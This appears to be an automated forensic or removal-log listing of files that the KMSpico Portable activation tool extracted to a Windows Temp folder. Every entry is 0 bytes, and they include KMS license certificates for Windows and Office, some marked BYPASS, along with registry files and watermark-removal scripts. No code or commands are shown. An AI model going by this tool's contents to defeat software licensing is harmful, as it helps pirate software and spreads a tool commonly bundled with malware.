C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\PowerPoint (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_STIL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\EnterpriseN\EnterpriseN-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectPro\ProjectProVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioPro\VisioProVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\pkeyconfig.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\ExcelVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioPro (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioStd\LicenseSetData._AC4EFAF0_F81F_4F61_BDF7_EA32B02AB117.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS1-ul-phn.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Word\WordVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectPro\ProjectProVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\EmbeddedIndustry (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\OneNote\OneNoteVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNoteVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\logs\AutoPico.log (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Excel\ExcelVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro\LicenseSetData._E13AC10E_75D0_4AFF_A0CD_764982CF541C.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Outlook\LicenseSetData._771C3AFA_50C5_443F_B151_FF2546D863A0.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectStd\LicenseSetData._427A28D1_D17C_4ABF_B717_32C780BA6F07.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Standard (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\PowerPoint\PowerPointVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\GrooveVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\transfer.mp3 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall\EnableSmartScreen.cmd (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS1-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectStd\ProjectStdVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectPro\LicenseSetData._4A5D124A_E620_44BA_B6FF_658961B33B9A.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreSingleLanguage (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\PowerPoint\LicenseSetData._8C762649_97D1_4953_AD27_B7E2C25B972E.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Publisher\PublisherVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS-ul-phn.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-BYPASS-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Core\Core-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectStd (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Core (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\DM.bin (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Lync\LicenseSetData._1B9F11E3_C85C_4E1B_BB29_879AD2C909E3.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Word\WordVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Enterprise (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Outlook\OutlookVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\SkypeforBusiness\SkypeforBusinessVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS\EnterpriseS-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStdVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPointVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Lync\LicenseSetData._1B9F11E3_C85C_4E1B_BB29_879AD2C909E3.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS-pl.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-BYPASS-RAC-public.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-BYPASS-RAC-public.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Standard\LicenseSetData._B13AFB38_CD79_4AE5_9F7F_EED058D750CA.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Standard\StandardVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\CoreConnectedSingleLanguage (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioPro\VisioProVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VLKMS1-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectPro (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Standard (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Publisher\PublisherVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\GrooveVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStdVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Word\WordVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Lync\LicenseSetData._1B9F11E3_C85C_4E1B_BB29_879AD2C909E3.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlusVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPathVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS-ul-phn.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ProfessionalWMC\ProfessionalWMC-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS-ul-phn.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioStd\VisioStdVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-BYPASS-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\OutlookVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerDatacenter (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-ul-phn.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioStd\VisioStdVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\pkeyconfig.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Word (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectPro (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\enterauthorizationcode.mp3 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS-pl.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\warning.mp3 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerStandard\ServerStandard-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS1-pl.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\pkeyconfig-office.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\pkeyconfig-office.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\AccessVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Enterprise (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_BRIDGE_OFFICE.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro\LicenseSetData._E13AC10E_75D0_4AFF_A0CD_764982CF541C.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectStd\ProjectStdVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS-pl.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Excel\LicenseSetData._F7461D52_7C2B_43B2_8744_EA958E0BD09A.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Enterprise\Enterprise-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_ROOT_BRIDGE_TEST.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectStd\LicenseSetData._427A28D1_D17C_4ABF_B717_32C780BA6F07.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS1-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalN (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VL-BYPASS-RAC-public.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\CoreConnectedSingleLanguage\CoreConnectedSingleLanguage-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\OneNote (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\OneNote\LicenseSetData._EFE1F3E6_AEA2_4144_A208_32AA872B6545.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\SkypeforBusiness\SkypeforBusinessVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\OneNote\LicenseSetData._EFE1F3E6_AEA2_4144_A208_32AA872B6545.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerStandard (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Publisher\LicenseSetData._00C79FF1_6850_443D_BF61_71CDE0DE305F.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Vestris.ResourceLib.dll (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\EmbeddedIndustry\EmbeddedIndustry-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS1-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProPlus\ProPlusVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-stil.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreN\CoreN-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioStd (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Core (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Publisher\PublisherVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPathVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Professional (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\incomingtransmission.mp3 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS1-ul-phn.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\WordVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus\LicenseSetData._B322DA9C_A2E2_4058_9E4E_F59A6970BD69.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\RemoveWaterMark.cmd (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Outlook (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VL-BYPASS-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\PublisherVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-BYPASS-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\InfoPath (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\ReadMe KMSpico Portable.txt (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-pl.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-BYPASS-RAC-private.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\GrooveVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\driver (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS1-ul-phn.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectProVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Professional (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalWMC\ProfessionalWMC-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Excel (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall\Restore_Watermark.cmd (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Outlook\LicenseSetData._771C3AFA_50C5_443F_B151_FF2546D863A0.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Professional\Professional-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProPlus (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Access (0 bytes)
